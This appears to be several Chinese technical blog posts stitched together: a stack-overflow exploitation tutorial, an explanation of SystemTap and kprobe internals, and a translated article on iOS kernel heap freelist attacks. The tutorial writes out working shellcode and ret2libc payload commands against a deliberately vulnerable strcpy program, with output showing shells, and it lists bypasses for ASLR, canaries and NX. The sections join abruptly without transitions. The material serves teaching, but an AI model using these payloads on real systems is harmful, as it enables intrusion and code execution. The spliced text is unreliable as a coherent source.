那么接下来我们使用sehllcode来填充buffer，剩余的用A字符，最后的返回地址填buffer的起始地址，这样程序跳转到返回地址执行的时候，就会执行我们的shellcode。

$ gdb -q --args a.out $(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "A" * (140 - 24) + "\xf0\xcf\xff\xff"')
Reading symbols from /home/scbox/Documents/a.out...(no debugging symbols found)...done.
(gdb) r
Starting program: /home/scbox/Documents/a.out 1�Ph//shh/bin��PS�ᙰ
                                                                 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����
argv[1]: 1�Ph//shh/bin��PS�ᙰ
                            AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����
process 16289 is executing new program: /usr/bin/bash
Missing separate debuginfos, use: debuginfo-install glibc-2.17-307.el7.1.i686
sh-4.2#   #进入shell了！

以上是在gdb中使用shellcode，但是直接运行shellcode，其实并不能执行，因为gdb会为程序增加一些存储在栈上的环境变量（便于调试），这样的话，栈用得更多，栈地址就会变低。直接运行的时候栈地址比gdb中的高，所以不能执行。

那么我们的解决办法是，把0xffffcff0栈地址增加到0xffffd02c（增加60个字节），然后增加的这部分填充为NOP指令，这样返回地址为60个字节地址中的任意一个，都可以执行到我们的shellcode。

$ ./a.out $(python -c 'print "\x90" * 60 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "A" * (140 - 60 - 24)+ "\x2c\xd0\xff\xff"')
argv[1]: ������������������������������������������������������������1�Ph//shh/bin��PS�ᙰ
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,���
sh-4.2# 

成功啦！

栈溢出缓解措施介绍

栈地址随机化（攻击者不知道shellcode的地址，无法构造return address）：ASLR（地址空间随机化）、PIE（地址无关可执行文件）

检测栈溢出，并报错退出：Stack Canary/Cookie

栈不可执行：NX（不执行）/DEP（数据执行保护）

ASLR 和 PIE

ASLR是地址空间随机化。开启后，堆、栈、共享库都会有一个随机偏移，堆和共享库往上（高地址处）偏移一个随机量，栈往下（低地址处）偏移。随机粒度为0x1000，一个内存页的大小。

单独开启ASLR，虽然堆、栈、共享库都会被随机化，但是程序的入口代码加载还是在固定地址0x804800。

PIE（地址无关代码）开启后，编译器会在编译时生成地址无关代码，编译选项-fPIC -pie，这样程序就可以在随机地址处被加载。也就是程序的代码以及数据段会往上（高地址处）偏移一个随机量。如下图所示。

使用ldd命令查看加载库的地址，可以看到两次都不一样。

$ ldd a.out 
	linux-gate.so.1 =>  (0xf77c7000)
	libc.so.6 => /lib/libc.so.6 (0xf75e6000)
	/lib/ld-linux.so.2 (0xf77c8000)
$ ldd a.out 
	linux-gate.so.1 =>  (0xf7798000)
	libc.so.6 => /lib/libc.so.6 (0xf75b7000)
	/lib/ld-linux.so.2 (0xf7799000)

查看程序加载地址：

$ gcc test.c -m32 -fPIC -pie -o a2.out
$ gdb -q a2.out
Reading symbols from /home/scbox/Documents/a2.out...(no debugging symbols found)...done.
(gdb) set disable-randomization off #如果不开启这个选项，则在gdb中默认是不随机化的
(gdb) b main
Breakpoint 1 at 0x5ff
(gdb) r
Starting program: /home/scbox/Documents/a2.out 

Breakpoint 1, 0x565855ff in main ()
Missing separate debuginfos, use: debuginfo-install glibc-2.17-307.el7.1.i686
...
$ gdb -q a2.out
...
(gdb) r
Starting program: /home/scbox/Documents/a2.out 

Breakpoint 1, 0x565e25ff in main ()  #两次main函数的地址不一样了
Missing separate debuginfos, use: debuginfo-install glibc-2.17-307.el7.1.i686
...

• 只是开启了ASLR，没有开启PIE的话，可以通过Return to PLT，绕过共享库随机化。（比如将shellcode放置在.data段，这部分是不会随机化的）
• x86_32架构下爆破（因为随机化粒度为0x1000，所以只有几千种可能）
• info leak（信息泄露，比如在我的（译）Analysis and exploitation of Pegasus kernel vulnerabilities (CVE-2016-4655 / CVE-2016-4656)文章中介绍的CVE-2016-4655漏洞）
• nop sled（在shellcode之前添加大段nop指令，在上一篇栈溢出之shellcode的文章中，使用了这种方法）
• heap spray（堆喷）
• 在本地环境中，可以使用ulimit -s unilimited命令（程序崩溃后会生成core dump文件，可以在这个文件中查看shellcode地址）

Stack Canary/Cookie

这个机制是用来检测栈溢出的。对于需要保护的函数，在执行之前，将一个随机值放在栈上，这个值被称为Canary。在64位上一般在rbp-0x8的位置，32位在ebp-0x4的位置，也就是ebp保存地址往下（低地址）的部分。然后在函数返回之前，会先检测这个值是否发生改变。stack_chk_fail的错误信息就是由于栈溢出。通过编译选项gcc -fstack-protector可以开启。

可以通过泄露Canary的方式绕过（同一进程不同线程的函数的Canary是一样的，比如read函数）

控制覆盖长度（只覆盖局部变量，不覆盖返回地址）

修改Canary（Canary保存在TLS(Thread-local Storage)寄存器中，一般是偏移0x14的位置stack_guard）

劫持stack_chk_fail（canary被覆盖时，就会调用这个函数，劫持后可跳转到自己的shellcode，比如GOT表劫持）

利用stack_chk_fail的报错信息（在报错信息中，会打印栈溢出的程序名，即argv[0]，可以覆盖这个地址为其他地址，输出我们想知道的内容）

NX/DEP

栈不可执行主要是对程序的内存块权限进行更进一步的划分。堆、栈以及数据区可写，但不可执行。代码区、只读数据区不可写，但可执行。也就是说我们要找一块内存区域是既可写也可以执行的，来写入shellcode，是找不到了。

绕过NX/DEP所需要的方法有一个基本思想，就是Return to Libc。因为我们不能执行写入的代码，那我们就跳转到程序已经加载了的代码中执行，比如libc中的大量函数，system()等等。

如上图所示，我们将函数的return地址覆盖为libc中的system函数地址，当进程跳转到这个地址时，会执行system函数内部的指令，首先是所有函数都有的，push ebp; 跟 mov ebp, esp;这两条指令，即将exit的地址push到。需要读取栈上的参数，即”/bin/sh”，

Return to libc

shellcode以及含有栈溢出漏洞的代码都采用的是跟我上一篇文章一样的代码。

含有栈溢出漏洞的代码:

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
	char buffer[128];
	if (argc < 2) {
        printf("Please input one argument!\n");
        return -1;
    }
	strcpy(buffer, argv[1]);
	printf("argv[1]: %s\n", buffer);
	return 0;
}

编译命令gcc test.c -m32

需要关闭ASLR:echo 0 > /proc/sys/kernel/randomize_va_space

跟前文不同的是，由于没有关闭NP/DEP，所以栈上的shellcode是无法执行的，所以我们要用已经加载的库中的函数来执行我们想要的代码。

首先，使用gdb查看system以及exit函数地址，在libc中查找字符串"/bin/sh"地址：

$ gdb ./a.out 
......
Reading symbols from /home/scbox/Documents/a.out...(no debugging symbols found)...done.
(gdb) b main
Breakpoint 1 at 0x8048470
(gdb) r
Starting program: /home/scbox/Documents/./a.out 

Breakpoint 1, 0x08048470 in main ()
Missing separate debuginfos, use: debuginfo-install glibc-2.17-307.el7.1.i686
(gdb) p system #打印system()函数的地址
$1 = {<text variable, no debug info>} 0xf7e36f70 <system>
(gdb) p exit #打印exit()函数的地址
$2 = {<text variable, no debug info>} 0xf7e2a7a0 <exit>
(gdb) info proc mappings
process 97414
Mapped address spaces:

	Start Addr   End Addr       Size     Offset objfile
......
	0xf7df7000 0xf7df8000     0x1000        0x0 
	0xf7df8000 0xf7fbc000   0x1c4000        0x0 /usr/lib/libc-2.17.so #起始地址
	0xf7fbc000 0xf7fbd000     0x1000   0x1c4000 /usr/lib/libc-2.17.so
	0xf7fbd000 0xf7fbf000     0x2000   0x1c4000 /usr/lib/libc-2.17.so
	0xf7fbf000 0xf7fc0000     0x1000   0x1c6000 /usr/lib/libc-2.17.so #结束地址
	0xf7fc0000 0xf7fc3000     0x3000        0x0 
......
	0xfffdd000 0xffffe000    0x21000        0x0 [stack]
(gdb) find /b 0xf7df8000, 0xf7fc0000, '/', 'b', 'i', 'n', '/', 's', 'h', 0 #查找字符串
0xf7f78015
1 pattern found.
(gdb) x/s 0xf7f78015
0xf7f78015:	"/bin/sh"

这一步，也可以使用reaelf strings等命令查看system、exit函数地址，以及/bin/sh字符串地址：

$ ldd a.out #查看libc库起始地址
	linux-gate.so.1 =>  (0xf7fd9000)
	libc.so.6 => /lib/libc.so.6 (0xf7df8000)
	/lib/ld-linux.so.2 (0xf7fda000)
$ readelf -s /lib/libc.so.6 | grep system@  #在libc库中查找system偏移地址
   627: 0003ef70    98 FUNC    GLOBAL DEFAULT   13 __libc_system@@GLIBC_PRIVATE
  1454: 0003ef70    98 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0
$ readelf -s /lib/libc.so.6 | grep exit@  #在libc库中查找exit偏移地址
   113: 00032c70    58 FUNC    GLOBAL DEFAULT   13 __cxa_at_quick_exit@@GLIBC_2.10
   141: 000327a0    45 FUNC    GLOBAL DEFAULT   13 exit@@GLIBC_2.0
   ......
$ strings -tx /lib/libc.so.6 | grep /bin/sh  #在libc库中查找字符串偏移地址
 180015 /bin/sh
$ gdb -q   #在gdb中计算地址
(gdb) p/x 0xf7df8000 + 0x0003ef70 #起始地址+偏移地址
$1 = 0xf7e36f70
(gdb) p/x 0xf7df8000 + 0x000327a0
$2 = 0xf7e2a7a0
(gdb) p/x 0xf7df8000 + 0x180015
$3 = 0xf7f78015

然后对应着前面的图，填充地址就可以执行了：

$ ./a.out $(python -c 'print "A" * 140 + "\x70\x6f\xe3\xf7" + "\xa0\xa7\xe2\xf7" + "\x15\x80\xf7\xf7" + "\0\0\0\0"')
argv[1]: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApo���������
sh-4.2#  #进入shell啦

这里的A*140，是因为从buffer的起始地址到ret返回地址有140个字节的长度（具体计算可参考上一篇有关shellcode的文章）。

这里需要注意的是，如果地址中出现0a，比如0xf7f70aa0，为\xa0\x0a\xf7\xf7，在这里\x0a在命令行参数中代表换行符\n，所以会截断字符，这是就需要替换掉这个地址，找其他函数或者字符串。如果是\x20，代表回车，需要用双引号括起来。

Return to libc方法的不足之处在于，如果开启了ASLR，那么我们就没法事先确定动态库的加载位置了。

另外还有一种方法叫Return to PLT，PLT在我的GOT表劫持这篇文章中有介绍，是在懒加载的时候使用的，如果程序已经调用过了这个动态库函数，那么可以直接通过PLT调用，不需要知道它的实际地址。

ROP (Return Oriented Programming)

在Return to libc中我们直接找的函数地址，我们也可以将函数拆成几条指令组成的以ret指令结尾的小代码片段的集合，来执行，这就是ROP。（Return to libc其实就是ROP中的一个特例）

这些小的以ret指令结尾的代码片段，被称之为ROP gadget。（之所以是ret结尾，是因为ret之后会从栈中读取下一个返回地址（gadget），然后继续执行，这样才可以把gadget拼接到一起）

多个ROP gadget拼接成的可执行片段称为ROP链。

在栈上填充的用于执行ROP链的数据，成为ROP Payload。

ROP是使用以ret结尾的片段。

使用以jmp结尾的片段叫做JOP，pop esi; jmp dword[esi+0x10]

以call结尾的片段叫做COP，mov eas, dword[esp+0x20]; call dwork[eax+0x20]

（JOP和COP有时也被合并到ROP中）

ROP Gadget现在已经有很多成熟的搜索工具，比较常用的是ROPGadget。

关于ROP的具体利用方式请查看下一篇文章栈溢出之 ROP（二）

另外，在Linux 4.9-rc1之后，出现了另一个强有力的工具BPF（The Berkeley Packet Filter），以及扩展后的eBPF，从某种程度上来说，更接近DTrace的动态追踪机制。eBPF已经被4.x版本及之后的内核集成了，它是一个持续在内核态运行的，解释执行字节码的虚拟机。性能上，编译成ebpf字节码执行，比编译内核模块要快得多。（是的，SystemTap就是编译的内核模块）

SystemTap运行流程：

如上图所示，我们使用SystemTap时，虽然编写的是.stp文件，使用的是stp自己的语言（类似于dtrace脚本语言和C语言），但systemtap会在编译过程中将这些代码翻译成C代码，再将C代码编译为内核模块.ko，最后加载内核模块。

前4个阶段和后面3个阶段可以不在同一台机器上，即在开发机器上编译内核模块，在目标机器上运行（但内核版本要一致）。

stap 使用命令选项-p 序号，可以使systemtap在特定阶段停下来，比如stap -p3, 会在生成C代码之后停下来。

Parse（词法语法分析）

这部分跟普通的程序编译过程是一样的，parse阶段主要是解析stp代码，生成AST树（抽象语法树，Abstract Syntax Tree），检查语法错误。

Elaborate（语义分析）

elaborate阶段对生成的这颗AST树进行修剪，其中又包括很多小阶段。每个小阶段都会遍历整棵树，处理每个节点。主要包括stp语言宏的展开，查找stp函数的定义，匹配stp变量类型，debuginfo相关操作，符号解析，优化器等等(可以通过选项-u跳过优化阶段)。

这一阶段会用到systemtap的tapset（模块集合），路径是/usr/local/share/systemtap/tapset，所以这个路径里的函数可以直接拿来用。tapset包含了很多systemtap预定义的事件或函数，比如通用的查询表，受限内存管理，I/O操作等等。虽然也是stp文件，但只能作为库使用，不能直接运行。这一步会查找debuginfo中对应函数/变量/路径等的偏移地址。

Translate（生成C代码）

我们使用以下代码，来简单看一下stp编译后的C代码是怎样的。

global g_s
probe begin {
    a=1
    printf("Hi %d", a)
}

probe oneshot {
    printf("I'm in")
}

probe timer.ms(100) {
    printf("timer")
    exit()
}

probe end {
    g_s = "now"
    printf("end %s", g_s)
}

probe process("/lib64/libc.so.6").function("gethostbyname").return {
    printf("uprobe_gethostbyname")
}

使用命令stap -v test.stp -p3 > test.c，可以查看编译后生成的C文件。

变量

代码部分，首先我们看到的是一个contest的结构体：

struct context {
  #include "common_probe_context.h"
  union {
    struct probe_8187_locals {
      int64_t l_a;
      union { /* block_statement: ./test.stp:2 */
        struct { /* source: ./test.stp:4 */
          int64_t __tmp2;
        };
      };
    } probe_8187;
    struct probe_8189_locals {
      union { /* block_statement: ./test.stp:7 */
      };
    } probe_8189;
    struct probe_8190_locals {
      union { /* block_statement: ./test.stp:11 */
      };
    } probe_8190;
    struct probe_8191_locals {
      union { /* block_statement: ./test.stp:16 */
        struct { /* source: ./test.stp:18 */
          string_t __tmp2;
        };
      };
    } probe_8191;
    struct probe_8193_locals {
    } probe_8193;
  } probe_locals;
  union {
    struct function___global_exit__overload_0_locals {
      /* no return value */
    } function___global_exit__overload_0;
  } locals [MAXNESTING+1];
  #if MAXNESTING < 0
  #error "MAXNESTING must be positive"
  #endif
  #ifndef STP_LEGACY_PRINT
  union {
    struct stp_printf_1_locals {
      int64_t arg0;
    } stp_printf_1;
    struct stp_printf_2_locals {
      const char* arg0;
    } stp_printf_2;
  } printf_locals;
  #endif // STP_LEGACY_PRINT
};

context这个结构体是在执行各个probe前后被复用的，因为一个context在某个时刻只能处于一个porbe中，所以采用了union来减少内存以及内核的栈空间，将内存设置为probe所用到的最大的变量数。struct probe_xxx_locals用来存储每个probe对应的本地变量。每个本地变量都被加了前缀l_，比如示例中的int64_t l_a。

long类型的变量会被编译为int64_t，即使是在32位系统上，其实也是64位整数。string类型的变量会被编译为string_t，这是char[MAXSTRINGLEN]的别名，也就是string的大小其实是固定的，当实际数据大于MAXSTRINGLEN时，会被截断，同样，跟字符型数组一样，当数据中存在\0时，也会被截断。

跟本地变量不同，全局变量有自己独立的结构体：

struct stp_globals {
  string_t s___global_g_s;
  rwlock_t s___global_g_s_lock;
  #ifdef STP_TIMING
  atomic_t s___global_g_s_lock_skip_count;
  atomic_t s___global_g_s_lock_contention_count;
  #endif

};
//这里是一个stub
static struct stp_globals stp_global = {
  
};

全局变量会被加上s_global_xx前缀，而且定义了对应lock。全局变量在使用的时候，都会加上对应的锁。

函数

对于probe begin/oneshot/end部分的结构都差不多，以下是probe begin处的代码：

static void probe_8187 (struct context * __restrict__ c) {
  __label__ deref_fault;
  __label__ out;
  struct probe_8187_locals * __restrict__ l = & c->probe_locals.probe_8187;
  (void) l;
  l->l_a = 0;
  if (c->actionremaining < 2) { c->last_error = "MAXACTION exceeded"; goto out; }
  {
    (void) 
    ({
      l->l_a = ((int64_t)1LL);
      ((int64_t)1LL);
    });
    
    (void) 
    ({
      l->__tmp2 = l->l_a;
      #ifndef STP_LEGACY_PRINT
        c->printf_locals.stp_printf_1.arg0 = l->__tmp2;
        stp_printf_1 (c);
      #else // STP_LEGACY_PRINT
        _stp_printf ("Hi %lld", l->__tmp2);
      #endif // STP_LEGACY_PRINT
      if (unlikely(c->last_error || c->aborted)) goto out;
      ((int64_t)0LL);
    });
    
  }
deref_fault: __attribute__((unused));
out:
  _stp_print_flush();
}

printf语句被转换成对应的内置函数调用，且代码块前后都加上了括号和花括号，防止代码污染。MAXACTION exceeded部分是为了限制probe的执行时间的，每个probe都有这段代码，避免出现超时导致的内核失去响应的情况。probe oneshot会在_stp_sprint代码块之后多调用一个function___global_exit__overload_0函数，这个函数内部调用了_stp_exit函数。

在systemtap运行时的begin和end阶段，也就是systemtap_module_init和systemtap_module_exit两个函数调用时，会调用enter_be_probe函数，这个函数会通过struct stap_be_probe中的实例，在(*stp->probe->ph)(c)这一行调用对应probe的handler。probe begin/oneshot/end都会注册在struct stap_be_probe结构中。

所以当systemtap启动时，会调用probe begin/oneshot，区别是oneshot会调用_stp_exit函数，表明将要进入end阶段了，然后在end阶段会调用probe end。

相比于前面三个probe对应的struct stap_be_probe结构，probe timer对应的是struct stap_hrtimer_probe，然后在systemtap_module_init函数中会注册timer。

对于process probe，对应的类型是struct stapiu_consumer：

static struct stapiu_consumer stap_inode_uprobe_consumers[] = {
  { .return_p=1, .target=&stap_inode_uprobe_targets[0], .offset=(loff_t)0x119230ULL, .probe=(&stap_probes[4]), },
};

这里有一个.offset=(loff_t)0x119230ULL的值，就是gethostbyname函数在process/lib64/libc.so.6（实际指向/usr/lib64/libc-2.17.so）中的偏移。可以通过命令readelf -f /usr/lib64/libc-2.17.so | grep gethostbyname 查看。这也是编译期间为什么需要debuginfo，这样才可以找到函数对应的偏移地址，然后加上库的基地址，就是实际运行地址了。

systemtap会检查已存在以及新创建的进程，如果有匹配某个probe，则会通过内核API注册对应的probe，然后内核触发回调时，就会执行这个函数。所以，每个匹配的进程都会执行probe。

如果需要指定进程的话，可以使用-x PID（会赋值给 target() ），或者-c CMD（新建子进程作为*target()*）：

_target = target()
if (pid() != _target) {
    next
}

Build（编译成内核模块.ko）

前面三个阶段已经生成了c文件，但其中有关于tapset的函数只是做了简单的链接（函数路径），比如：

c->last_stmt = "identifier 'exit' at /usr/local/share/systemstap/tapset/logging.stp:63:10";

在这个阶段，会将这部分一起编译到最终的内核模块里。

Load/Run（加载运行）

这部分是通过独立的二进制文件staprun实现的，这可以将编译跟运行环境分开。在staprun/staprun_funcs.c文件中，insert_module函数通过调用系统APIinit_module，来加载内核模块。

内核模块探测点的处理函数被封装成接口函数，底层调用Linux提供的kprobe接口函数来注册探测点。静态指针使用tracepoints，动态指针使用kprobe，用户态使用uprobes。

Kprobes，kernel probes，是linux内核的一个重要特性，也是一个轻量级的内核调试工具。perf、systemtap以及4.x之后出现的eBPF都是基于kprobes之上的。它主要有三类，kprobe、kreprobe、jprobe（最新的内核中已经被去掉了）。kprobe是最常使用的，可以在任何指令位置处插入探针。kretprobe可以查看函数执行结束后的参数变化，jprobe在函数进入时使用，类似于kprobe的pre_hanlder。

kretprobe用trampoline地址替换堆栈上的返回地址。因此当对应函数返回时，会先执行kretprobe设置的trampoline，然后再从trampoline返回到原来的返回地址。

kprobe的运行原理跟GDB很类似，也是基于中断处理的。系统初始化的时候会注册中断处理，在x86系统上分别是int 1和int 3两个trap，对应的函数是do_debug以及do_int3。 在arm64中是BRK（异常处理）指令。

kprobe的运行流程：

1. 注册kprobe。一个kprobe结构体对应一个探针，包含有插入点地址，以及保存该插入点的原始指令original_opcode
2. 替换原有指令。将插入点的指令替换为0xcc(int 3, ARM替换为BRK)。这样当CPU执行到该位置时，就会触发int 3或异常处理。
3. 进入异常态执行pre_handler。找到该位置信息对应的kprobe，执行pre_handler。并将相应寄存器设置成单步调试single-step，将下一条指令设置为original_opcode，然后从异常态返回。
4. 再次陷入异常态执行post_handler。因为在上一步将下一条即将执行的指令设置为了original_opcode，且设置了single-step。因此从int 3返回后会立即执行原有指令，紧接着触发int 1(single-step)，再次进入异常态。这时首先清除single-step相关的寄存器tag，然后执行kprobe的post_handler，最后从异常态安全返回。

以上就是kprobe执行过程，就是将原有的一条指令扩展成为执行pre_handler->执行原有指令->执行post_handler。

systemtap就是调用的kprobe接口函数来注册stp脚本中定义的探测点。当内核运行到探测点时，就会调用对应的处理函数，其中的输出语句将会通过调用relayfs的接口函数输出数据，也就是下一步的通讯过程。

Store Output（用户态/内核态交互，通讯）

staprun加载内核模块之后，会exec一个stapio进程（/usr/libexec/systemtap/），跟加载后的内核模块通讯。内核模块会通过debugfs_create_dir和debugfs_create_file两个api创建一个debugfs下的“伪文件”。用户态程序可以通过读写这些“伪文件”来调用内核模块的制定函数。内核模块会创建/sys/kernel/debug/systemtap/$module_name/trace%d这样的文件用于数据流的传输。

stapio（用户态程序）跟内核模块交互，其实就是对文件进行读写。在int stp_main_loop(void)函数中会对不同的控制指令进行处理，_stp_ctl_wire_cmd函数中有对应的控制指令在内核态部分的处理逻辑。

Stop/Unload（卸载）

当满足以下两个条件之一时，straprun就会卸载内核模块：

• stap脚本执行到exit()函数
• 向stapio发送信号（比如ctrl+c）

内核模块将要退出时（遇到exit()函数），会将STP_REQUEST_EXIT控制消息写入伪文件.cmd的buffer中。stapio读取控制流时，看到这个消息，就会相应对应的STP_EXIT。然后内核看到STP_EXIT消息，就会做相应的清理工作，之后再返回STP_EXIT给stapio。stapio接收到这个消息之后就会卸载内核模块。

如果是stapio收到退出信号（ctrl+c），就会向内核模块发送STP_EXIT消息，然后再卸载内核模块。

卸载内核模块是stapio通过创建执行卸载操作的staprun进程实行的，所以stapio实际还是只负责通讯。

最后我们通过下面这张图来回顾一下systemtap的工作流程：

其中DWARF是指Linux的调试符号表格式。

有关systemtap的具体安装、使用、如何编写stp脚本等问题，请见我的下一篇文章Linux 动态调试之 SystemTap（使用篇）。

Reference

[1] systemtap 探秘（一）- 基本介绍　https://segmentfault.com/a/1190000019566831

[2] systemtap原理及使用　https://www.bbsmax.com/A/A7zgmEOP54/

[3] SystemTap Kprobe原理　https://lzz5235.github.io/2013/12/18/systemtap-kprobe.html

[4] 3.1 Systemp 简介　https://hotttao.github.io/2020/01/08/linux_perf/11_stap%E7%AE%80%E4%BB%8B/

[5] kprobe原理解析（二）　https://www.cnblogs.com/honpey/p/4575902.html

你所了解到的关于 iOS 内核堆利用的公开研究，最终都可以归结于对内核堆空间的分配，这个观点由 nemo 首先提出来。总而言之，这种分配将空间内的内核内存分成相同大小的内存块。通过利用重写堆元数据，可以向空间的空闲列表 (freelist) 中注入任意内存区。

在本文中，我们将首先概括关于内核堆空间分配的知识，像 nemo 和 Esser 之前所提到的那样。接着，我们将看一看其他的内核堆管理以及 Mac OSX 和 iOS 内核中的内存分配封装函数。在简单介绍这些封装函数之后，我们将进一步介绍这些分配器在最新版本 iOS 5 之后的改变。本文将继续介绍内核层的应用数据重写与直接攻击分配器的空闲列表区之间的差异。最后将展示一种普遍的技术：为了实现内核堆利用，通过执行内核堆喷射 (heap spraying) ，来控制内核堆布局的布局。

内核堆空间分配

对于 Mac OSX 以及越狱的苹果手机，有一种可用的工具叫做 zprint ，它可以查看由内核堆分配器注册的内核内存空间。
例如：

这些信息都是由内核 API 函数 host_zone_info 以及 mach_zone_info 提供的。当涉及到构造内核堆利用方法时，这些 API 函数都非常有用，因为它们可以检索每个内核空间的详细信息，比如分配的块的数量，空闲内存块的数量等。Sotirov提到：后者对于控制内核堆（又称为堆风水）技术非常有用。但是根据苹果 iOS 6 的介绍，为了防止内核 API 函数被用于工厂 设备iPhone ，这条路已经被关闭了。现在调用 PE_i_can_haz_debugger 函数，在越狱机以及特殊的苹果内部调试设备、通过苹果可能有的特殊调试虚拟磁盘启动的设备上，只会返回 true。不管怎样，以后的内核堆利用已经不能再依赖这些函数了。

为了弄清楚内核堆分配器是如何工作的，我们可以通过下面的图表了解，这些图表将会一步步记录其内部的运行。分配器将内核内存分成了许多空间，每个空间包含了同样大小的内存块。它首先在空间内分配一大块内存（通常是一个单独的内存页）。

所有的内存都在这个空间里，然后它被分为大小相同的块。在这个例子中，每块内存正好为 512bytes 。

内存管理器用每个空闲内存块的 4 个首字节作为指向另一个内存块的指针。如下图所示：

空间分配器创建了一个空闲内存块链表，即空闲列表。它是一个后进先出的列表，在链表内，每个元素都指向下一个元素。因为在新的内存页里的第一个空闲内存块首先被添加，正如下图所示，空闲内存将会被反序利用。

某特定空间的最后一个元素被添加到空闲列表后，当内存被分配给这个特定空间时，该元素也被称为空闲列表头部，同时作为分配内存块标识返回。返回新分配的内存之后，空闲列表中下一个元素的指针从内存块的首4字节读取。指针读取成为新的自由列表头部。它指向的内存块将会因此成为下一个返回值。这个原则由下图证实。

现在我们知道了堆空间分配的基本机制，接下来我们介绍一下如何利用这种内存分配。我们发现，两个相邻的内存块，第一个为分配缓存区，第二个为空闲内存块，缓存区溢出将会导致堆元数据被覆盖。

如果攻击者控制了缓存区溢出的数据，那么他完全可以控制空闲列表中指向下一个元素的指针。如上所述的分配将会返回被重写的内存块，使得攻击者控制空闲列表的头部指针。之后分配器将会返回一个被攻击者控制的内存块。在公开的 iOS 内核堆利用中，这种技术被用来返回位于系统调用表中间的一块内存。通过强制内核分配一块内存，并用被攻击者控制的数据覆盖，这种方式可以替换任意系统调用处理程序，并实现任意内核代码执行。

据了解， iOS 6 的测试版在内核堆分配器中添加了一些内存标签，虽然一般来说，它不阻止攻击空闲列表，但是阻止公开地使用攻击，因为它只允许向内核的空闲列表中注入内存块，但是这样也已经完全在攻击者的控制之下了。

其他内核堆内存管理和封装器

Mac OSX 和 iOS 内核包含了许多其他的内核堆内存管理以及封装。下图展示了其中一部分的封装和内存管理。

在本节中，我们将介绍几个提到的分配器和封装，并讨论它们的属性以及利用。

• kalloc()

kalloc() 是用来封装 zalloc() 以及 kmem_alloc() 的。它在小分配时使用 zalloc() ，较大的内存请求时使用 kmem_alloc() 。它没有任何额外的堆元数据。因此，需要调用者记住分配的内存大小，当稍后内存使用 kfree() 释放时要求使用相同大小的值。

存储在内核空间的数据由内存管理器注册一个空间号码，这个号码为 kalloc.xxx ，xxx 即为 kalloc 空间大小。在 iOS 5 中可使用 zprint 工具得到以下空间。(译者注：在OS X 10.11 及以上系统可在 root 权限下使用 zprint | grep kalloc 命令)

可以从中发现，这个内核空间是在 8 到 8192 之间的每2倍大小再加上一些额外的空间值，这些额外值的大小是2倍之间可被8整除的数。比如 kalloc.24, kalloc.40, kalloc.48, kalloc.88, kalloc.112, kalloc.192, kalloc.384, kalloc.768, kalloc.1536, kalloc.3072 以及 kalloc.6144 。在 iOS 5 之前，这些 kalloc 空间并不存在，且最小的空间为 16 。这种增加空间的变化可能是为了减少内存浪费，以便使得最常用的分配越来越合适。

• kfree()

在跳转到下一个封装之前，还有一些值得注意的地方，kfree() 函数。正如之前所提到的那样，调用者需要记住需要释放的块的大小，否则 kfree() 不知道 zfree() 或 kmem_free() 是否被调用，以及需要向内存返回多大的空间。内存管理器除了保持对较大的分配内存块的跟踪之外，对于释放一个比之前所记忆值大的块的尝试将会被忽略。这是一个简单的保护机制防止二次释放。

• _MALLOC()

_MALLOC() 是一个对 kalloc() 函数的封装。对于分配的内存块它预先留下一个简短的头部，存储分配的大小。这种通过 _MALLOC() 进行内存分配的方式，在内核代码中可以在不需要保持对块大小的跟踪的情况下释放。下图是一个通过系统调用的内存分配例子。

0字节的分配是特例。_MALLOC() 会简单拒绝这样的分配并返回一个空指针。目前尚不知道为什么苹果不返回一个最小大小的分配值，因为分配 0 字节是可以在合理条件下发生的。用大小作为头部有两个缺点，第一为了确定分配的大小，它要求有整数加法，第二当重写导致可执行的情况，它相当于额外的堆元数据。

当看到 iOS 4 中的 XNU源代码树中的源代码，可以发现 _MALLOC() 中整数加法的危险是显而易见的。正如下面代码所示，苹果并没有设定在 iOS 4 以及 Mac OSX 中的整数溢出，这将会导致许多可能的内核堆错误。

但是在 iOS 5 的 release 版本之前，苹果研究了可能的整数溢出并关闭了它。代码改为捕捉整数溢出，防止在非阻塞情况下，溢出流返回空指针。但是在阻塞情况下，可以看到触发了内核 panic。

包含了额外大小字段的内存块头部，对于重写来说，是一个非常有趣的目标，因为通过重写它，内存管理器可以被欺骗去释放错误区域的空闲列表中的内存块。如果大小被重写为一个更小的值，这个块也将会被添加到更小尺寸的块的空闲列表中。这不会导致内存错误，但将会导致内存泄漏，因为稍长的那部分永远不会被覆盖。同样，如果一个较大的尺寸被写入头部，这个块也会被添加到较大尺寸块的自由列表中。这样将会导致内存错误，因为内核分配相信块比实际尺寸大，而这将会导致它在填满时覆盖到相邻的内存。

内核堆应用数据重写

考虑到苹果正在硬化空间分配器，一些内存分配器也将不再会有流入的堆元数据可以被覆盖，因此我们将要介绍一种有攻击性且有趣的存储在堆上的内核应用数据。本节的剩余部分，我们将使用内核层的 C++ 对象作为这种有趣的可以被广泛使用的应用数据的示例。

在 iOS 内核中的 libkern 实现了一个 C++ 运行时子集。它允许内核驱动程序用 C++ 写，其中 IOKit 驱动使用最为频繁。这太有意思了，因为它为 iOS 内核带来了 C++ 类的漏洞。但是对于我们来说，只有在内存布局中的类是有意义的

下图展示了一个支持 iOS 内核的 C++ 运行时以及继承的基本对象的概述：

